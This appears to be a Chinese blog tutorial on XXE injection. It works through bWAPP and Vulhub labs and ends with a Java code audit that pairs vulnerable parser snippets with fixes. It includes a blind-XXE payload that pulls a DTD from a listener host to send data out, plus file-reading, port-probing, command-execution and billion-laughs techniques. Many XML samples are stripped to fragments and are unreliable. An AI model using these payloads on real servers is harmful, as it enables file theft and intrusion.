【网络安全】JAVA代码审计—— XXE外部实体注入

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一、WEB安全部分

想要了解XXE，在那之前需要了解XML的相关基础

二、XML基础

2.1 XML语法

1.所有的XML元素都必须有一个关闭标签

2.XML标签对大小写敏感

3.XML必须正确嵌套

4.XML 文档必须有根元素

5.XML属性值必须加引号

实体引用，在标签属性，以及对应的位置值可能会出现<>符号，但是这些符号在对应的XML中都是有特殊含义的，这时候我们必须使用对应html的实体对应的表示，比如<对应的实体就是<，>符号对应的实体就是>

在XML中，空格会被保留，如：

a空格B

，这时候a和B之间的空格就会被保留

2.2 XML结构

2.2.1 XML文档声明

2.2.2 元素

元素是 XML 以及 HTML 文档的主要构建模块，元素可包含文本、其他元素或者是空的。

  body text in between 
 some message in between  

空元素有例如：hr、br、img

2.2.3 属性

属性可提供有关元素的额外信息

其中，src为属性

2.2.4 实体

实体分为四种类型，分别为：

• 字符实体

• 命名实体

• 外部实体

• 参数实体

2.3 文档类型定义--DTD

DTD是用来规范XML文档格式，既可以用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合，也用来将一些特殊字符和可复用代码段自定义为实体

DTD可以嵌入XML文档当中（内部声明），也可以以单独的文件存放（外部引用）

2.3.1 DTD内部声明

假如 DTD 被包含在您的 XML 源文件中，它应当通过下面的语法包装在一个 DOCTYPE 声明中：

内部声明DTD示例

 
         
]>
 George  John  Reminder  Don't forget the meeting! 
 

以上 DTD 解释如下：

• !DOCTYPE note (第二行)定义此文档是 note 类型的文档。

• !ELEMENT note (第三行)定义 note 元素有四个元素："to、from、heading,、body"

• !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型

• !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型

• !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型

• !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

2.3.2 DTD外部引用

假如 DTD 位于 XML 源文件的外部，那么它应通过下面的语法被封装在一个 DOCTYPE 定义中：

这个 XML 文档和上面的 XML 文档相同，但是拥有一个外部的 DTD:

George
John
Reminder
Don't forget the meeting!
 

note.dtd：

2.3.3 PCDATA

PCDATA 的意思是被解析的字符数据（parsed character data）。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记，文本中的标签会被当作标记来处理，而实体会被展开，值得注意的是，PCDATA不应包含&、<和>字符，需要用& < >实体替换，又或者是使用CDATA

2.3.4 CDATA

CDATA 的意思是字符数据（character data）。

CDATA 是不会被解析器解析的文本。

在XML中&、<字符是属于违法的，这是因为解析器会将<解释为新元素的开始，将&解释为字符实体的开始，所以当我们有需要使用包含大量&、<字符的代码，则可以使用CDATA

CDATA由结束，在CDATA当中，不能包含]]>字符串，也不能嵌套CDATA，结尾的]]>字符串不能包含任何的空格和换行

2.3.5 DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。

实体又分为一般实体和参数实体

1，一般实体的声明语法:

引用实体的方式：&实体名；

2，参数实体只能在DTD中使用，参数实体的声明格式：

引用实体的方式：%实体名；

2.3.5.1 内部实体

&writer;©right; 

2.3.5.2 外部实体

外部实体，用来引入外部资源。有SYSTEM和PUBLIC两个关键字，表示实体来自本地计算机还是公共计算机

<
<

&writer;©right; 

不同程序支持的协议不同

LIBXML2	PHP	JAVA	.NET
file	file	http	file
http	http	https	http
ftp	ftp	ftp	https
	php	file	ftp
	compress.zlib	jar
	compress.bzip2	netdoc
	data	mailto
	glob	gopher *
	phar

其中php支持的协议会更多一些，但需要一定的扩展支持。

三、XXE

XXE即XML外部实体注入，由上面可知，外部实体指的就是DTD外部实体，而造成XXE的原因是在解析XML的时候，对恶意的外部实体进行解析导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

如何判断

3.1 如何判断是否存在XXE

以bwapp靶场为例

首先查看http头，观察是否有XML相关字符串

再判断是否解析了XML内容

发现修改内容后服务器回解析相应的内容

3.2 XXE可导致的危害

3.2.1 读取文件

最主要使用的是使用XXE来读取文件，这里我使用bwapp靶场作为环境

我搭建环境的时候使用php版本为5.2.17的环境，我是使用phpstudy搭建的环境，如果php版本大于5.2.17或者使用docker环境(php版本为5.5.9)会导致没有回显，当然可能只是我的环境问题，但是如果以low难度进行注入时使用正确的payload都是显示An error occured!的话，可以尝试使用我的方法

3.2.1.1 ****有回显

首先先进入XXE漏洞的测试界面

http://192.168.0.105/bwapp/xxe-1.php

进行抓包，发现存在text/xml

通过修改数据，观察服务器是否会解析XML的内容

确定服务器会解析XML内容，就可以自己构造注入了

]>

&bee;Any bugs? 

XML的外部实体“bee”被赋予的值为：file:///d:/robots.txt，当解析xml文档时，bee会被替换为file:///d:/robots.txt的内容。就被执行回显回来了。

3.2.1.2 无回显(Blind XXE)

但是在实际环境中XML大多数时候并非是为了输出用，所以很多时候是不会有输出的，这样即使XML被解析了但是是无法直接读取文件的，所以我们需要外带数据，把数据发送出来读取

靶场环境：Vulhub - Docker-Compose file for vulnerability environment

搭建好环境后先进入此页面http://192.168.3.25:8983/solr/#/demo/query，然后点击提交，进行抓包，并把包发送到重放器

在本地主机（使用桥接）或者是云服务器，反正能让目标服务器连接到的ip的主机即可，在此服务器上创建dtd文件

"> 

创建完后修改包内的payload

`/solr/demo/select?_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><

%25send%3b%25dtd%3b]> %26data%3b &wt=xml&defType=xmlparser" style="margin: auto" />

该payload解码后为

<http://192.168.3.35/xxe.dtd">%send;%dtd;]>&data;&wt=xml&defType=xmlparser注意，[http://192.168.3.35/xxe.dtd这句需要改为自己的地址，同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码，直接复制上去就好了](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttp%253A%252F%252F192.168.3.35%252Fxxe.dtd%2525E8%2525BF%252599%2525E5%25258F%2525A5%2525E9%25259C%252580%2525E8%2525A6%252581%2525E6%252594%2525B9%2525E4%2525B8%2525BA%2525E8%252587%2525AA%2525E5%2525B7%2525B1%2525E7%25259A%252584%2525E5%25259C%2525B0%2525E5%25259D%252580%2525EF%2525BC%25258C%2525E5%252590%25258C%2525E6%252597%2525B6%2525E5%25258F%252591%2525E5%25258C%252585%2525E7%25259A%252584%2525E6%252597%2525B6%2525E5%252580%252599%2525E4%2525B8%25258D%2525E8%2525A6%252581%2525E6%25258A%25258A%2526wt%253Dxml%2526defType%253Dxmlparser%2525E8%2525BF%25259B%2525E8%2525A1%25258Curl%2525E7%2525BC%252596%2525E7%2525A0%252581%2525EF%2525BC%25258C%2525E7%25259B%2525B4%2525E6%25258E%2525A5%2525E5%2525A4%25258D%2525E5%252588%2525B6%2525E4%2525B8%25258A%2525E5%25258E%2525BB%2525E5%2525B0%2525B1%2525E5%2525A5%2525BD%2525E4%2525BA%252586 "https://www.oschina.net/action/GoToLink?url=http%3A%2F%2F192.168.3.35%2Fxxe.dtd%25E8%25BF%2599%25E5%258F%25A5%25E9%259C%2580%25E8%25A6%2581%25E6%2594%25B9%25E4%25B8%25BA%25E8%2587%25AA%25E5%25B7%25B1%25E7%259A%2584%25E5%259C%25B0%25E5%259D%2580%25EF%25BC%258C%25E5%2590%258C%25E6%2597%25B6%25E5%258F%2591%25E5%258C%2585%25E7%259A%2584%25E6%2597%25B6%25E5%2580%2599%25E4%25B8%258D%25E8%25A6%2581%25E6%258A%258A%26wt%3Dxml%26defType%3Dxmlparser%25E8%25BF%259B%25E8%25A1%258Curl%25E7%25BC%2596%25E7%25A0%2581%25EF%25BC%258C%25E7%259B%25B4%25E6%258E%25A5%25E5%25A4%258D%25E5%2588%25B6%25E4%25B8%258A%25E5%258E%25BB%25E5%25B0%25B1%25E5%25A5%25BD%25E4%25BA%2586"" style="margin: auto" />

以上情况是当php报错时将里面的数据，如果php没有报错则使用下面的方法

首先先监听端口，然后在上面的基础上修改一下dtd文件

"> 

在连接后面附上监听的端口，发送后会在监听处收到信息，如果没有可以尝试查看服务器日志

这里用一下别人的图

参考链接：XXE漏洞详解——进阶篇 - FreeBuf网络安全行业门户

但是我这里复现没有成功，也有可能是直接通过报错读出文件的原因，但是还是记录一下这种情况

3.2.1.3 读取PHP等文件

由于一些文件，如php文件内含有<等字符，在读取的时候想、解析器会将这些解析为xml语言导致语法错误，所以为了避免这种情况出现使用伪协议来读取

]>

&bee;Any bugs? 

3.2.1.4 端口探测

同样使用bwapp靶场作为环境

前面的流程基本一致，抓包后构造注入

在http连接后跟端口，如果端口开启，则会显示 failed to open stream: HTTP request failed!，否则不显示（或者显示failed to open stream: Connection refuse!或500状态码）

我这里使用phpstudy作为环境，所以开启了3306端口

]> 

测试666端口，机器没有开启，所以在发送包后获取响应包需要很长一段时间，最后报500错误码

测试1234端口，本机同样为开启，也是等待了一小会才获取到的响应包

3.2.1.5 远程命令执行RCE

要想要RCE需要使用expect协议，其他协议也有可能可以执行命令

expect需要安装expect拓展

]> 

3.2.1.6 DDOS 攻击

参考文章：XXE从入门到放弃 - 安全客，安全资讯平台 (anquanke.com)

]>

&lol9; 

该攻击通过创建一项递归的 XML 定义，在内存中生成十亿个”abc”字符串，从而导致 DDoS 攻击。原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。

3.2.1.7 防御XXE

方案一、使用开发语言提供的禁用外部实体的方法

PHP：
libxml_disable_entity_loader(true);

JAVA:看下面的代码审计

Python：
第三方模块lxml按照修改设置来改就可以
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

def xxe():tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))# tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))return etree.tostring(tree.getroot())
尝试改用defusedxml 是一个纯 Python 软件包，它修改了所有标准库 XML 解析器的子类，可以防止任何潜在的恶意操作。 对于解析不受信任的XML数据的任何服务器代码，建议使用此程序包。 

方案二、过滤用户提交的XML数据

关键词：

不允许XML中含有任何自己声明的DTD

有效的措施：配置XML parser只能使用静态DTD，禁止外来引入；对于Java来说，直接设置相应的属性值为false即可

参考文章：(38条消息) XXE详解_bylfsj的博客-CSDN博客_xxe

四、JAVA代码审计部分

XXE为XML External Entity Injection的英文缩写，当开发人员允许xml解析外部实体时，攻击者可构造恶意外部实体来达到任意文件读取、内网端口探测、命令执行、拒绝服务攻击等方面的攻击。

产生XXE有三个条件，首先是解析了XML，其次是XML外部可控。最后是没有禁用外部实体

五、XML常见接口

5.1 XMLReader

XMLReader接口是一种通过回调读取XML文档的接口，其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口，其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序，以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时，会出现XXE漏洞

5.2 SAXBuilder

SAXBuilder是一个JDOM解析器，其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务，并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时，会出现XXE漏洞

5.3 SAXReader

DOM4J是dom4j.org出品的一个开源XML解析包，使用起来非常简单，只要了解基本的XML-DOM模型，就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包，它有DOMReader和SAXReader两种方式。因为使用了同一个接口，所以这两种方式的调用方法是完全一致的。同样的，在使用默认解析方法并且未对XML进行过滤时，其也会出现XXE漏洞。

5.4 SAXParserFactory

SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法，可以强制使用newInstance()。跟上面介绍的一样，在使用默认解析方法且未对XML进行过滤时，其也会出现XXE漏洞。

5.5 Digester

Digester类用来将XML映射成Java类，以简化XML的处理。它是Apache Commons库中的一个jar包：common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的，我们一般需通过Blind XXE的方法来利用

5.6 DocumentBuilderFactory

javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象，DocumentBuilderFactory是一个抽象工厂类，它不能直接实例化，但该类提供了一个newInstance()方法，这个方法会根据本地平台默认安装的解析器，自动创建一个工厂的对象并返回。

六、接口代码审计&修复

通过了解XXE的原理了解到防御XXE只需要做到以下几点

1、不解析XML，但是有的时候业务需要

2、禁用dtd，同样很多时候无法实现

3、禁用外部实体和参数实体

对大部分时候，都可以通过设置feature来控制解析器的行为

 // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );
// 如果不能完全禁用DTDs，最少采取以下措施，必须两项同时存在
setFeature ( "http://xml.org/sax/features/external-general-entities" , false ); // 防止外部实体POC
setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false ); // 防止参数实体POC 

如果是启用了XIclude则要在feature规则前添加

dbf . setXIncludeAware ( true ); // 支持XInclude
dbf . setNamespaceAware ( true );// 支持XInclude 

以下代码均出于：java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)

6.1 XMLReader

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );XMLReader xmlReader = XMLReaderFactory . createXMLReader ();xmlReader . parse ( new InputSource ( new StringReader ( body )));// parse xmlreturn "xmlReader xxe vuln code" ;
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.2 修复代码

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );XMLReader xmlReader = XMLReaderFactory . createXMLReader ();// fix code startxmlReader . setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );xmlReader . setFeature ( "http://xml.org/sax/features/external-general-entities" , false );xmlReader . setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false );//fix code endxmlReader . parse ( new InputSource ( new StringReader ( body )));// parse xml

} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.3 SAXBuilder

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXBuilder builder = new SAXBuilder ();// org.jdom2.Document documentbuilder . build ( new InputSource ( new StringReader ( body )));// cause xxereturn "SAXBuilder xxe vuln code" ;
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.4 修复代码：

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXBuilder builder = new SAXBuilder (); // fix code startbuilder . setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );builder . setFeature ( "http://xml.org/sax/features/external-general-entities" , false );builder . setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false ); // fix code end// org.jdom2.Document documentbuilder . build ( new InputSource ( new StringReader ( body )));

} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.5 SAXReader

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXReader reader = new SAXReader ();// org.dom4j.Document documentreader . read ( new InputSource ( new StringReader ( body ))); // cause xxe

} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

修复代码：

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXReader reader = new SAXReader ();// fix code startreader . setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );reader . setFeature ( "http://xml.org/sax/features/external-general-entities" , false );reader . setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false );// fix code end// org.dom4j.Document documentreader . read ( new InputSource ( new StringReader ( body )));
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.6 SAXParserFactory

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXParserFactory spf = SAXParserFactory . newInstance ();SAXParser parser = spf . newSAXParser ();parser . parse ( new InputSource ( new StringReader ( body )), new DefaultHandler ());// parse xmlreturn "SAXParser xxe vuln code" ;
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.7 修复代码：

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXParserFactory spf = SAXParserFactory . newInstance ();// fix code startspf . setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );spf . setFeature ( "http://xml.org/sax/features/external-general-entities" , false );spf . setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false );// fix code startSAXParser parser = spf . newSAXParser ();parser . parse ( new InputSource ( new StringReader ( body )), new DefaultHandler ());// parse xml
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.8 Digester

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );Digester digester = new Digester ();digester . parse ( new StringReader ( body ));// parse xml
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

修复代码：

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );Digester digester = new Digester (); // fix code startdigester . setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );digester . setFeature ( "http://xml.org/sax/features/external-general-entities" , false );digester . setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false ); // fix code enddigester . parse ( new StringReader ( body ));// parse xmlreturn "Digester xxe security code" ;
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.9 DocumentBuilderFactory

修复代码：

try {String body = WebUtils . getRequestBody ( request );logger . info ( body );SAXParserFactory spf = SAXParserFactory . newInstance ();SAXParser saxParser = spf . newSAXParser ();XMLReader xmlReader = saxParser . getXMLReader ();xmlReader . setFeature ( "http://apache.org/xml/features/disallow-doctype-decl" , true );xmlReader . setFeature ( "http://xml.org/sax/features/external-general-entities" , false );xmlReader . setFeature ( "http://xml.org/sax/features/external-parameter-entities" , false );xmlReader . parse ( new InputSource ( new StringReader ( body )));

} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

6.11 DocumentHelper

try {String body = WebUtils . getRequestBody ( req );DocumentHelper . parseText ( body ); // parse xml
} catch ( Exception e ) {logger . error ( e . toString ());return EXCEPT ;
} 

修复该漏洞只需升级dom4j到2.1.1及以上，该版本及以上禁用了ENTITY；

不带ENTITY的PoC不能利用，所以禁用ENTITY即可完成修复。